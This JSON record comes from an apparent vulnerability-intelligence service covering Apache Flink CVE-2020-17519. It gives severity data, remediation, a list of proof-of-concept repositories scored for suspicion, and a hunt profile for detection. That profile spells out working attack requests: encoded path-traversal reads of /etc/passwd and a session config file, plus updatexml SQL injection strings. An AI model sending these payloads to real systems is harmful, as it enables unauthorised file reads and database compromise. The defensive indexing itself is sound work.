{
  "id": "CVE-2020-17519",
  "url": "https://poc.griffinguard.io/cve/CVE-2020-17519",
  "published_at": "2021-01-05T11:40:14Z",
  "title": "Apache Flink directory traversal attack: reading remote files through the REST API",
  "vendor": "Apache Software Foundation",
  "product": "Apache Flink",
  "cvss": {
    "score": 9.1,
    "source": "cisa-adp",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2024-05-23",
    "known_ransomware_campaign_use": "Unknown",
    "days_after_publication": 1234
  },
  "first_poc": {
    "created_at": "2021-01-06T02:15:39Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 0.6,
    "repo": "B1anda0/CVE-2020-17519",
    "source": "github"
  },
  "poc_repo_count": 13,
  "exploit_count": 3,
  "suspicious_repo_count": 1,
  "edge_device": null,
  "description": "A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. Access is restricted to files accessible by the JobManager process. All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s) are exposed. The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.",
  "cwe": "CWE-552",
  "cvss_by_source": {
    "cisa-adp": 9.1
  },
  "repos": [
    {
      "repo": "trhacknon/CVE-2020-17519",
      "url": "https://github.com/trhacknon/CVE-2020-17519",
      "created_at": null,
      "first_seen_at": "2026-11-14T23:12:49.679Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "B1anda0/CVE-2020-17519",
      "url": "https://github.com/B1anda0/CVE-2020-17519",
      "created_at": "2021-01-06T02:15:39Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 46,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-11-10T07:13:23Z"
    },
    {
      "repo": "QmF0c3UK/CVE-2020-17519",
      "url": "https://github.com/QmF0c3UK/CVE-2020-17519",
      "created_at": "2021-01-06T13:41:24Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-06-15T05:13:27Z"
    },
    {
      "repo": "dolevf/apache-flink-directory-traversal.nse",
      "url": "https://github.com/dolevf/apache-flink-directory-traversal.nse",
      "created_at": "2021-01-06T16:03:06Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 3,
      "is_poc": "yes",
      "kind": "scanner",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2013-11-05T05:35:27Z"
    },
    {
      "repo": "dev-team-12x/CVE-2020-17519",
      "url": "https://github.com/dev-team-12x/CVE-2020-17519",
      "created_at": "2021-01-08T06:50:59Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-08-24T13:47:57Z"
    },
    {
      "repo": "hoanx4/CVE-2020-17519",
      "url": "https://github.com/hoanx4/CVE-2020-17519",
      "created_at": "2021-01-08T06:50:59Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-08-24T13:47:57Z"
    },
    {
      "repo": "murataydemir/CVE-2020-17518",
      "url": "https://github.com/murataydemir/CVE-2020-17518",
      "created_at": "2021-01-10T01:12:45Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 3,
      "is_poc": "no",
      "kind": "unrelated",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-12-21T21:01:19Z"
    },
    {
      "repo": "murataydemir/CVE-2020-17519",
      "url": "https://github.com/murataydemir/CVE-2020-17519",
      "created_at": "2021-01-10T01:24:50Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 8,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-12-21T21:01:19Z"
    },
    {
      "repo": "radbsie/CVE-2020-17519-Exp",
      "url": "https://github.com/radbsie/CVE-2020-17519-Exp",
      "created_at": "2021-01-14T10:45:29Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-02-04T05:49:17Z"
    },
    {
      "repo": "yaunsky/CVE-2020-17519-Apache-Flink",
      "url": "https://github.com/yaunsky/CVE-2020-17519-Apache-Flink",
      "created_at": "2021-01-18T02:03:05Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-03-05T10:11:18Z"
    },
    {
      "repo": "Osyanina/westone-CVE-2020-17519-scanner",
      "url": "https://github.com/Osyanina/westone-CVE-2020-17519-scanner",
      "created_at": "2021-02-25T11:06:05Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "fake",
      "kind": "fake",
      "suspicion_score": 50,
      "suspicious": true,
      "suspicion_reasons": [
        "README asks to download a release/binary/archive",
        "owner account created less than 30 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2021-02-03T06:55:56Z"
    },
    {
      "repo": "givemefivw/CVE-2020-17519",
      "url": "https://github.com/givemefivw/CVE-2020-17519",
      "created_at": "2021-04-13T11:38:18Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-05-17T22:43:38Z"
    },
    {
      "repo": "MrCl0wnLab/SimplesApachePathTraversal",
      "url": "https://github.com/MrCl0wnLab/SimplesApachePathTraversal",
      "created_at": "2021-10-13T17:03:56Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 61,
      "is_poc": "yes",
      "kind": "scanner",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-02-03T16:14:31Z"
    },
    {
      "repo": "zhangweijie11/CVE-2020-17519",
      "url": "https://github.com/zhangweijie11/CVE-2020-17519",
      "created_at": "2022-03-08T09:19:27Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2018-12-17T07:27:14Z"
    },
    {
      "repo": "GazettEl/CVE-2020-17519",
      "url": "https://github.com/GazettEl/CVE-2020-17519",
      "created_at": "2025-03-02T23:29:26Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-04-12T05:04:52Z"
    },
    {
      "repo": "shoucheng3/apache__flink_CVE-2020-17519_1-11-2",
      "url": "https://github.com/shoucheng3/apache__flink_CVE-2020-17519_1-11-2",
      "created_at": "2025-08-20T18:12:17Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "fake",
      "kind": "fake",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-09-18T01:16:05Z"
    },
    {
      "repo": "NaiLuo003/poc",
      "url": "https://github.com/NaiLuo003/poc",
      "created_at": "2026-07-03T06:18:18Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2024-10-09T08:50:35Z"
    },
    {
      "repo": "CyberCTF/vulhub-flink-cve-2020-17519",
      "url": "https://github.com/CyberCTF/vulhub-flink-cve-2020-17519",
      "created_at": "2026-10-08T22:15:42Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2024-12-01T11:12:42Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "",
        "product": "org.apache.flink:flink-runtime_2.11",
        "ranges": [
          "\u003e= 1.11.0, \u003c 1.11.3"
        ],
        "fixed_in": [
          "1.11.3"
        ],
        "ecosystem": "Maven",
        "advisory": "GHSA-395w-qhqr-9fr6"
      },
      {
        "vendor": "",
        "product": "org.apache.flink:flink-runtime_2.12",
        "ranges": [
          "\u003e= 1.11.0, \u003c 1.11.3"
        ],
        "fixed_in": [
          "1.11.3"
        ],
        "ecosystem": "Maven",
        "advisory": "GHSA-395w-qhqr-9fr6"
      }
    ],
    "upgrade": [
      "Upgrade org.apache.flink:flink-runtime_2.11 to 1.11.3 or later.",
      "Upgrade org.apache.flink:flink-runtime_2.12 to 1.11.3 or later."
    ]
  },
  "exploit_refs": [
    {
      "url": "https://www.exploit-db.com/exploits/49398",
      "source": "exploitdb",
      "title": "Apache Flink 1.11.0 - Unauthenticated Arbitrary File Read (Metasploit)",
      "published_at": "2021-01-08T00:00:00Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/apache_flink_jobmanager_traversal.rb",
      "source": "metasploit",
      "title": "Metasploit auxiliary: Apache Flink JobManager Traversal (auxiliary/scanner/http/apache_flink_jobmanager_traversal)",
      "published_at": "2021-02-22T23:03:58Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17519.yaml",
      "source": "nuclei",
      "title": "nuclei template: Apache Flink - Local File Inclusion",
      "published_at": "2023-04-27T04:28:59Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "GET",
      "path_template": "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd",
      "headers": [
        {
          "name": "Accept",
          "value": "*/*"
        },
        {
          "name": "Accept-Language",
          "value": "en"
        }
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        80,
        443,
        8080,
        8081
      ],
      "user_agents": [
        "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
      ],
      "protocol": "http",
      "repos": [
        "B1anda0/CVE-2020-17519",
        "MrCl0wnLab/SimplesApachePathTraversal",
        "dolevf/apache-flink-directory-traversal.nse",
        "murataydemir/CVE-2020-17519",
        "yaunsky/CVE-2020-17519-Apache-Flink",
        "zhangweijie11/CVE-2020-17519"
      ],
      "repo_count": 6,
      "confidence": 0.85,
      "evidence": [
        "B1anda0/CVE-2020-17519/CVE-2020-17519.py:27",
        "MrCl0wnLab/SimplesApachePathTraversal/README.md:163",
        "MrCl0wnLab/SimplesApachePathTraversal/main.py:128",
        "dolevf/apache-flink-directory-traversal.nse/apache-flink-traversal.nse:44",
        "dolevf/apache-flink-directory-traversal.nse/apache-flink-traversal.nse:48",
        "murataydemir/CVE-2020-17519/README.md:35",
        "yaunsky/CVE-2020-17519-Apache-Flink/CVE-2020-17519.py:26",
        "yaunsky/CVE-2020-17519-Apache-Flink/CVE-2020-17519.py:41",
        "zhangweijie11/CVE-2020-17519/poc.py:14"
      ]
    },
    {
      "method": "POST",
      "path_template": "/public/index.php/home/credit_follow/lists/pbid/0",
      "headers": [
        {
          "name": "Accept",
          "value": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
        },
        {
          "name": "Accept-Language",
          "value": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6"
        },
        {
          "name": "Cache-Control",
          "value": "no-cache"
        },
        {
          "name": "Cookie",
          "value": ""
        },
        {
          "name": "Pragma",
          "value": "no-cache"
        },
        {
          "name": "Upgrade-Insecure-Requests",
          "value": "1"
        }
      ],
      "body_markers": [
        "nickname=' AND updatexml(1,concat(0x7e,md5('1'),0x7e),1) AND '"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "user_agents": [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0"
      ],
      "protocol": "http",
      "repos": [
        "NaiLuo003/poc"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "NaiLuo003/poc/Frame/WeiPHP/WeiPHP 5_0 searchUser() 存在SQL 注入漏洞/raw.txt:1",
        "NaiLuo003/poc/core/demo2/raw.txt:1"
      ]
    },
    {
      "method": "POST",
      "path_template": "/public/index.php/material/Material/_download_imgage",
      "body_markers": [
        "media_id=1",
        "picUrl=../config/session.php"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "http",
      "repos": [
        "NaiLuo003/poc"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "NaiLuo003/poc/Frame/WeiPHP/WeiPHP5_0  _download_imgage 前台文件任意读取 CNVD-2020-68596/raw.txt:1"
      ]
    },
    {
      "method": "GET",
      "path_template": "/config",
      "ports": [
        8081
      ],
      "protocol": "http",
      "repos": [
        "CyberCTF/vulhub-flink-cve-2020-17519"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "CyberCTF/vulhub-flink-cve-2020-17519/checks/version.sh:4"
      ]
    },
    {
      "method": "GET",
      "path_template": "/index.php",
      "query_markers": [
        "s=api/goods_detail",
        "goods_id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)",
        "s=apigoods/get_goods_detail",
        "id=1 and updatexml(1,concat(0x7e,md5(1),0x7e),1)"
      ],
      "protocol": "http",
      "repos": [
        "NaiLuo003/poc"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "NaiLuo003/poc/CMS/狮子鱼cms/狮子鱼CMS ApiController.class.php SQL注入漏洞/main.py:24",
        "NaiLuo003/poc/CMS/狮子鱼cms/狮子鱼CMS ApigoodController.class.php SQL注入漏洞/main.py:25"
      ]
    },
    {
      "method": "GET",
      "path_template": "/jobmanager/logs",
      "ports": [
        8081
      ],
      "protocol": "http",
      "repos": [
        "CyberCTF/vulhub-flink-cve-2020-17519"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "CyberCTF/vulhub-flink-cve-2020-17519/checks/version.sh:5"
      ]
    },
    {
      "method": "GET",
      "path_template": "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{var}",
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        1081,
        8080
      ],
      "protocol": "http",
      "repos": [
        "QmF0c3UK/CVE-2020-17519"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "QmF0c3UK/CVE-2020-17519/CVE-2020-17519.py:51"
      ]
    },
    {
      "method": "GET",
      "path_template": "/jobmanager/logs/{var}{var}",
      "ports": [
        8081
      ],
      "protocol": "http",
      "repos": [
        "GazettEl/CVE-2020-17519"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "GazettEl/CVE-2020-17519/CVE-2020-17519.py:61"
      ]
    },
    {
      "method": "GET",
      "path_template": "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
      "protocol": "http",
      "repos": [
        "NaiLuo003/poc"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "NaiLuo003/poc/中间件/GlassFish/GlassFish 任意文件读取漏洞/main.py:38"
      ]
    },
    {
      "method": "GET",
      "path_template": "/cgi-bin/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd",
      "content_type": "application/x-www-form-urlencoded",
      "user_agents": [
        "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0"
      ],
      "protocol": "http",
      "repos": [
        "MrCl0wnLab/SimplesApachePathTraversal"
      ],
      "repo_count": 1,
      "confidence": 0.6,
      "evidence": [
        "MrCl0wnLab/SimplesApachePathTraversal/README.md:164"
      ]
    }
  ],
  "rules": []
}
